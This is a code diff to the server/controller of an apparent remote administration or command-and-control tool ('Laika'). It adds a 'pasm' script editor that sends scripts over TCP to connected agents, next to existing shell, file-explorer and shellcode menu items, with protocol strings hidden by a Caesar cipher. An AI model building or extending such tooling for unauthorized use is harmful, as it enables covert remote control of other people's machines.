+            this.MaximizeBox = false;
+            this.MaximumSize = new System.Drawing.Size(607, 381);
             this.MinimumSize = new System.Drawing.Size(607, 381);
             this.Name = "Menu";
             this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
@@ -229,6 +270,10 @@
         private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem;
         private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem;
         private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem;
+        private System.Windows.Forms.Label label1;
+        private System.Windows.Forms.ToolStripMenuItem pasmToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem editorToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem executePasmScriptToolStripMenuItem;
     }
 }
 

Server/Menu.cs

@@ -11,6 +11,7 @@ using System.Text;
 using System.Threading.Tasks;
 using System.Windows.Forms;
 using System.Threading;
+using System.Runtime.CompilerServices;
 
 namespace Server
 {
@@ -24,11 +25,13 @@ namespace Server
         public static TcpListener server;
         public static int CLIENT_ID;
         public static List<TcpClient> CONNECT_CLIENTS = new List<TcpClient>();
+        public static string localip;
+        public static int localport;
         public static void ServerStart()
         {
-            string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
+            localip = Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString();
-            int port = 4444;
+            localport = 4444;
-            server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port);
+            server = new TcpListener(System.Net.IPAddress.Parse(localip), localport);
             server.Start();
         }
         public static void ServerStop()
@@ -48,7 +51,7 @@ namespace Server
                 {
                     continue;
                 }
-                client.Client.Blocking = false;
+                client.Client.Blocking = true;
                 for (int i = 0; i < dataGridView1.Rows.Count; i++)
                 {
                     if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0])
@@ -133,6 +136,7 @@ namespace Server
         private void Form1_Load(object sender, EventArgs e)
         {
             dataGridView1.ClearSelection();
+            label1.Text = "Listening at " + localip + ":" + localport.ToString();
         }
 
         private void toolStripMenuItem1_Click(object sender, EventArgs e)
@@ -227,8 +231,18 @@ namespace Server
             {
                 MessageBox.Show("Client timed out.");
             }
+        }
 
-            c.Client.Blocking = false;
+        private void editorToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            PasmEditor pasm = new PasmEditor(false);
+            pasm.Show(this);
+        }
+
+        private void executePasmScriptToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            PasmEditor pasm = new PasmEditor(true);
+            pasm.Show(this);
         }
     }
 }

Server/PasmEditor.Designer.cs

@@ -0,0 +1,193 @@
+namespace Server
+{
+    partial class PasmEditor
+    {
+        /// <summary>
+        /// Required designer variable.
+        /// </summary>
+        private System.ComponentModel.IContainer components = null;
+
+        /// <summary>
+        /// Clean up any resources being used.
+        /// </summary>
+        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
+        protected override void Dispose(bool disposing)
+        {
+            if (disposing && (components != null))
+            {
+                components.Dispose();
+            }
+            base.Dispose(disposing);
+        }
+
+        #region Windows Form Designer generated code
+
+        /// <summary>
+        /// Required method for Designer support - do not modify
+        /// the contents of this method with the code editor.
+        /// </summary>
+        private void InitializeComponent()
+        {
+            this.menuStrip1 = new System.Windows.Forms.MenuStrip();
+            this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.newCTRLNToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.saveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.saveAsCTRLMajSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.closeCTRLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.codeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.richTextBox1 = new System.Windows.Forms.RichTextBox();
+            this.textBox1 = new System.Windows.Forms.TextBox();
+            this.splitter1 = new System.Windows.Forms.Splitter();
+            this.menuStrip1.SuspendLayout();
+            this.SuspendLayout();
+            // 
+            // menuStrip1
+            // 
+            this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+            this.fileToolStripMenuItem,
+            this.codeToolStripMenuItem});
+            this.menuStrip1.Location = new System.Drawing.Point(0, 0);
+            this.menuStrip1.Name = "menuStrip1";
+            this.menuStrip1.Size = new System.Drawing.Size(800, 24);
+            this.menuStrip1.TabIndex = 0;
+            this.menuStrip1.Text = "menuStrip1";
+            // 
+            // fileToolStripMenuItem
+            // 
+            this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+            this.newCTRLNToolStripMenuItem,
+            this.openToolStripMenuItem,
+            this.saveToolStripMenuItem,
+            this.saveAsCTRLMajSToolStripMenuItem,
+            this.closeCTRLToolStripMenuItem});
+            this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
+            this.fileToolStripMenuItem.Size = new System.Drawing.Size(37, 20);
+            this.fileToolStripMenuItem.Text = "File";
+            // 
+            // newCTRLNToolStripMenuItem
+            // 
+            this.newCTRLNToolStripMenuItem.Name = "newCTRLNToolStripMenuItem";
+            this.newCTRLNToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.N)));
+            this.newCTRLNToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+            this.newCTRLNToolStripMenuItem.Text = "New";
+            this.newCTRLNToolStripMenuItem.Click += new System.EventHandler(this.newCTRLNToolStripMenuItem_Click);
+            // 
+            // openToolStripMenuItem
+            // 
+            this.openToolStripMenuItem.Name = "openToolStripMenuItem";
+            this.openToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.O)));
+            this.openToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+            this.openToolStripMenuItem.Text = "Open";
+            this.openToolStripMenuItem.Click += new System.EventHandler(this.openToolStripMenuItem_Click);
+            // 
+            // saveToolStripMenuItem
+            // 
+            this.saveToolStripMenuItem.Name = "saveToolStripMenuItem";
+            this.saveToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.S)));
+            this.saveToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+            this.saveToolStripMenuItem.Text = "Save";
+            this.saveToolStripMenuItem.Click += new System.EventHandler(this.saveToolStripMenuItem_Click);
+            // 
+            // saveAsCTRLMajSToolStripMenuItem
+            // 
+            this.saveAsCTRLMajSToolStripMenuItem.Name = "saveAsCTRLMajSToolStripMenuItem";
+            this.saveAsCTRLMajSToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)(((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.Shift) 
+            | System.Windows.Forms.Keys.S)));
+            this.saveAsCTRLMajSToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+            this.saveAsCTRLMajSToolStripMenuItem.Text = "Save as";
+            this.saveAsCTRLMajSToolStripMenuItem.Click += new System.EventHandler(this.saveAsCTRLMajSToolStripMenuItem_Click);
+            // 
+            // closeCTRLToolStripMenuItem
+            // 
+            this.closeCTRLToolStripMenuItem.Name = "closeCTRLToolStripMenuItem";
+            this.closeCTRLToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.W)));
+            this.closeCTRLToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+            this.closeCTRLToolStripMenuItem.Text = "Close";
+            this.closeCTRLToolStripMenuItem.Click += new System.EventHandler(this.closeCTRLToolStripMenuItem_Click);
+            // 
+            // codeToolStripMenuItem
+            // 
+            this.codeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+            this.executeToolStripMenuItem});
+            this.codeToolStripMenuItem.Name = "codeToolStripMenuItem";
+            this.codeToolStripMenuItem.Size = new System.Drawing.Size(47, 20);
+            this.codeToolStripMenuItem.Text = "Code";
+            // 
+            // executeToolStripMenuItem
+            // 
+            this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
+            this.executeToolStripMenuItem.Size = new System.Drawing.Size(115, 22);
+            this.executeToolStripMenuItem.Text = "Execute";
+            this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
+            // 
+            // richTextBox1
+            // 
+            this.richTextBox1.AcceptsTab = true;
+            this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Top;
+            this.richTextBox1.EnableAutoDragDrop = true;
+            this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+            this.richTextBox1.Location = new System.Drawing.Point(0, 24);
+            this.richTextBox1.Name = "richTextBox1";
+            this.richTextBox1.Size = new System.Drawing.Size(800, 370);
+            this.richTextBox1.TabIndex = 1;
+            this.richTextBox1.Text = "";
+            this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged);
+            // 
+            // textBox1
+            // 
+            this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill;
+            this.textBox1.Location = new System.Drawing.Point(0, 394);
+            this.textBox1.Multiline = true;
+            this.textBox1.Name = "textBox1";
+            this.textBox1.ReadOnly = true;
+            this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
+            this.textBox1.Size = new System.Drawing.Size(800, 56);
+            this.textBox1.TabIndex = 2;
+            // 
+            // splitter1
+            // 
+            this.splitter1.BackColor = System.Drawing.SystemColors.ScrollBar;
+            this.splitter1.Dock = System.Windows.Forms.DockStyle.Top;
+            this.splitter1.Location = new System.Drawing.Point(0, 394);
+            this.splitter1.Name = "splitter1";
+            this.splitter1.Size = new System.Drawing.Size(800, 5);
+            this.splitter1.TabIndex = 3;
+            this.splitter1.TabStop = false;
+            // 
+            // PasmEditor
+            // 
+            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+            this.ClientSize = new System.Drawing.Size(800, 450);
+            this.Controls.Add(this.splitter1);
+            this.Controls.Add(this.textBox1);
+            this.Controls.Add(this.richTextBox1);
+            this.Controls.Add(this.menuStrip1);
+            this.MainMenuStrip = this.menuStrip1;
+            this.Name = "PasmEditor";
+            this.Text = "pasm editor - New File";
+            this.menuStrip1.ResumeLayout(false);
+            this.menuStrip1.PerformLayout();
+            this.ResumeLayout(false);
+            this.PerformLayout();
+
+        }
+
+        #endregion
+
+        private System.Windows.Forms.MenuStrip menuStrip1;
+        private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem openToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem saveToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem saveAsCTRLMajSToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem newCTRLNToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem closeCTRLToolStripMenuItem;
+        private System.Windows.Forms.RichTextBox richTextBox1;
+        private System.Windows.Forms.TextBox textBox1;
+        private System.Windows.Forms.Splitter splitter1;
+        private System.Windows.Forms.ToolStripMenuItem codeToolStripMenuItem;
+        private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
+    }
+}

Server/PasmEditor.cs

@@ -0,0 +1,189 @@
+using System;
+using System.IO;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.Net.Sockets;
+using System.Threading;
+using static System.Windows.Forms.VisualStyles.VisualStyleElement;
+using System.Runtime.InteropServices;
+using System.Text.RegularExpressions;
+using System.Xml;
+
+namespace Server
+{
+    public partial class PasmEditor : Form
+    {
+        private static string filepath = "";
+        private static bool is_executing = false;
+        public PasmEditor(bool is_from_right_click)
+        {
+            InitializeComponent();
+            executeToolStripMenuItem.Enabled = is_from_right_click;
+            richTextBox1.DragDrop += new DragEventHandler(richTextBox1_DragDrop);
+        }
+
+        private void newCTRLNToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            richTextBox1.Text = "";
+            filepath = "";
+            this.Text = "pasm editor - New File";
+        }
+
+        private void openToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            OpenFileDialog openFileDialog = new OpenFileDialog
+            {
+                Filter = "PASM source files (*.pasm)|*.pasm",
+                Title = "Select your PASM source code file."
+            };
+
+            if (openFileDialog.ShowDialog() != DialogResult.OK)
+                return;
+
+            string filePath = openFileDialog.FileName;
+            if (filePath == null) return;
+
+            richTextBox1.LoadFile(filePath, RichTextBoxStreamType.PlainText);
+            filepath = filePath;
+
+            this.Text = "pasm editor - " + Path.GetFileName(filePath);
+        }
+
+        private void saveToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (filepath == "")
+            {
+                saveAsCTRLMajSToolStripMenuItem_Click(sender, e);
+                return;
+            }
+            richTextBox1.SaveFile(filepath, RichTextBoxStreamType.PlainText);
+        }
+
+        private void saveAsCTRLMajSToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            SaveFileDialog saveFileDialog = new SaveFileDialog
+            {
+                Filter = "PASM source files (*.pasm)|*.pasm",
+                Title = "Save as"
+            };
+
+            if (saveFileDialog.ShowDialog() != DialogResult.OK)
+                return;
+
+            string filePath = saveFileDialog.FileName;
+            if (filePath == null) return;
+
+            richTextBox1.SaveFile(filePath, RichTextBoxStreamType.PlainText);
+            filepath = filePath;
+        }
+
+        private void closeCTRLToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            richTextBox1.Text = "";
+            filepath = "";
+            this.Text = "pasm editor - New File";
+        }
+
+        void richTextBox1_DragDrop(object sender, DragEventArgs e)
+        {
+            object filename = e.Data.GetData("FileDrop");
+            if (filename != null)
+            {
+                var list = filename as string[];
+
+                if (list != null && !string.IsNullOrWhiteSpace(list[0]))
+                {
+                    richTextBox1.Clear();
+                    richTextBox1.LoadFile(list[0], RichTextBoxStreamType.PlainText);
+                    filepath = list[0];
+                    this.Text = "pasm editor - " + Path.GetFileName(filepath);
+                }
+            }
+            e.Effect = DragDropEffects.None;
+        }
+
+        private void execute_script()
+        {
+            is_executing = true;
+            TcpClient c = Server.Menu.CONNECT_CLIENTS[Server.Menu.CLIENT_ID];
+            c.ReceiveTimeout = 10000;
+            c.Client.Blocking = true;
+
+            try
+            {
+                NetworkStream stream = c.GetStream();
+
+                byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("pasm"));
+                stream.Write(Message, 0, Message.Length);
+
+                string fileContent = File.ReadAllText(filepath);
+                byte[] fileContentBytes = Encoding.UTF8.GetBytes(fileContent);
+                stream.Write(fileContentBytes, 0, fileContentBytes.Length);
+
+                byte[] buffer = new byte[2048];
+                int bytesRead;
+
+                textBox1.Text += "\r\n\r\nLaika: script sent\r\n\r\n";
+
+                while (true)
+                {
+                    bytesRead = stream.Read(buffer, 0, buffer.Length);
+                    string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
+
+                    if (receivedData == "fail")
+                    {
+                        textBox1.Text += "Agent failed to execute the script due to an unknown error.\n";
+                        textBox1.SelectionStart = textBox1.TextLength;
+                        textBox1.ScrollToCaret();
+                        break;
+                    }
+
+                    textBox1.Text += receivedData.Replace(Utils.CAESAR("Laika: end of script"), "").Replace("\n", "\r\n");
+
+                    if (receivedData.Contains(Utils.CAESAR("Laika: end of script")))
+                    {
+                        textBox1.Text += "\r\n\r\nLaika: end of script\r\n\r\n";
+                        textBox1.SelectionStart = textBox1.TextLength;
+                        textBox1.ScrollToCaret();
+                        break;
+                    }
+
+                    textBox1.SelectionStart = textBox1.TextLength;
+                    textBox1.ScrollToCaret();
+                    this.Update();
+                }
+            }
+            catch
+            {
+                MessageBox.Show("Client timed out.");
+            }
+
+            is_executing = false;
+            executeToolStripMenuItem.Enabled = true;
+        }
+        private void executeToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (is_executing)
+                return;
+
+            Thread t = new Thread(execute_script);
+            t.Start();
+
+            executeToolStripMenuItem.Enabled = false;
+        }
+
+        private void richTextBox1_TextChanged(object sender, EventArgs e)
+        {
+            if (!this.Text.Contains("*"))
+            {
+                this.Text += "*";
+            }
+        }
+    }
+}

Server/PasmEditor.resx

@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <metadata name="menuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+    <value>17, 17</value>
+  </metadata>
+</root>

Server/Program.cs

@@ -105,7 +105,6 @@ namespace Server
             finally
             {
                 ClearSocketData(c);
-                c.Client.Blocking = false;
                 if (shell != null)
                 {
                     shell.Close();
@@ -123,7 +122,6 @@ namespace Server
                 byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n"));
                 stream.Write(message, 0, message.Length);
                 ClearSocketData(c);
-                c.Client.Blocking = false;
             }
             catch { }
             OPENED = false;

Server/Properties/Resources.Designer.cs

@@ -120,6 +120,16 @@ namespace Server.Properties {
             }
         }
         
+        /// <summary>
+        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.
+        /// </summary>
+        internal static System.Drawing.Bitmap scenario {
+            get {
+                object obj = ResourceManager.GetObject("scenario", resourceCulture);
+                return ((System.Drawing.Bitmap)(obj));
+            }
+        }
+        
         /// <summary>
         ///   Recherche une ressource localisée de type System.Drawing.Bitmap.
         /// </summary>

Server/Properties/Resources.resx

@@ -118,8 +118,8 @@
     <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
   </resheader>
   <assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
-  <data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
+  <data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
-    <value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
+    <value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
   <data name="terminal" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@@ -136,13 +136,16 @@
   <data name="folder" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
-  <data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
-    <value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
-  </data>
   <data name="upload" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
-  <data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
+  <data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
-    <value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
+    <value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
+  </data>
+  <data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
+    <value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
+  </data>
+  <data name="scenario" type="System.Resources.ResXFileRef, System.Windows.Forms">
+    <value>..\Resources\scenario.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
   </data>
 </root>

Server/Server.csproj

@@ -33,8 +33,36 @@
     <WarningLevel>4</WarningLevel>
   </PropertyGroup>
   <ItemGroup>
+    <Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
+    </Reference>
     <Reference Include="System" />
+    <Reference Include="System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll</HintPath>
+    </Reference>
     <Reference Include="System.Core" />
+    <Reference Include="System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll</HintPath>
+    </Reference>
+    <Reference Include="System.Numerics" />
+    <Reference Include="System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll</HintPath>
+    </Reference>
+    <Reference Include="System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
+    </Reference>
+    <Reference Include="System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll</HintPath>
+    </Reference>
+    <Reference Include="System.Text.Json, Version=8.0.0.4, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Text.Json.8.0.4\lib\net462\System.Text.Json.dll</HintPath>
+    </Reference>
+    <Reference Include="System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll</HintPath>
+    </Reference>
+    <Reference Include="System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
+      <HintPath>..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll</HintPath>
+    </Reference>
     <Reference Include="System.Xml.Linq" />
     <Reference Include="System.Data.DataSetExtensions" />
     <Reference Include="Microsoft.CSharp" />
@@ -64,6 +92,12 @@
     <Compile Include="Menu.Designer.cs">
       <DependentUpon>Menu.cs</DependentUpon>
     </Compile>
+    <Compile Include="PasmEditor.cs">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="PasmEditor.Designer.cs">
+      <DependentUpon>PasmEditor.cs</DependentUpon>
+    </Compile>
     <Compile Include="Program.cs" />
     <Compile Include="Properties\AssemblyInfo.cs" />
     <EmbeddedResource Include="BuildMenu.resx">
@@ -75,6 +109,9 @@
     <EmbeddedResource Include="Menu.resx">
       <DependentUpon>Menu.cs</DependentUpon>
     </EmbeddedResource>
+    <EmbeddedResource Include="PasmEditor.resx">
+      <DependentUpon>PasmEditor.cs</DependentUpon>
+    </EmbeddedResource>
     <EmbeddedResource Include="Properties\Resources.resx">
       <Generator>ResXFileCodeGenerator</Generator>
       <LastGenOutput>Resources.Designer.cs</LastGenOutput>
@@ -85,6 +122,7 @@
       <DependentUpon>Resources.resx</DependentUpon>
       <DesignTime>True</DesignTime>
     </Compile>
+    <None Include="packages.config" />
     <None Include="Properties\Settings.settings">
       <Generator>SettingsSingleFileGenerator</Generator>
       <LastGenOutput>Settings.Designer.cs</LastGenOutput>
@@ -125,5 +163,8 @@
   <ItemGroup>
     <None Include="Resources\up_arrow.png" />
   </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\scenario.png" />
+  </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
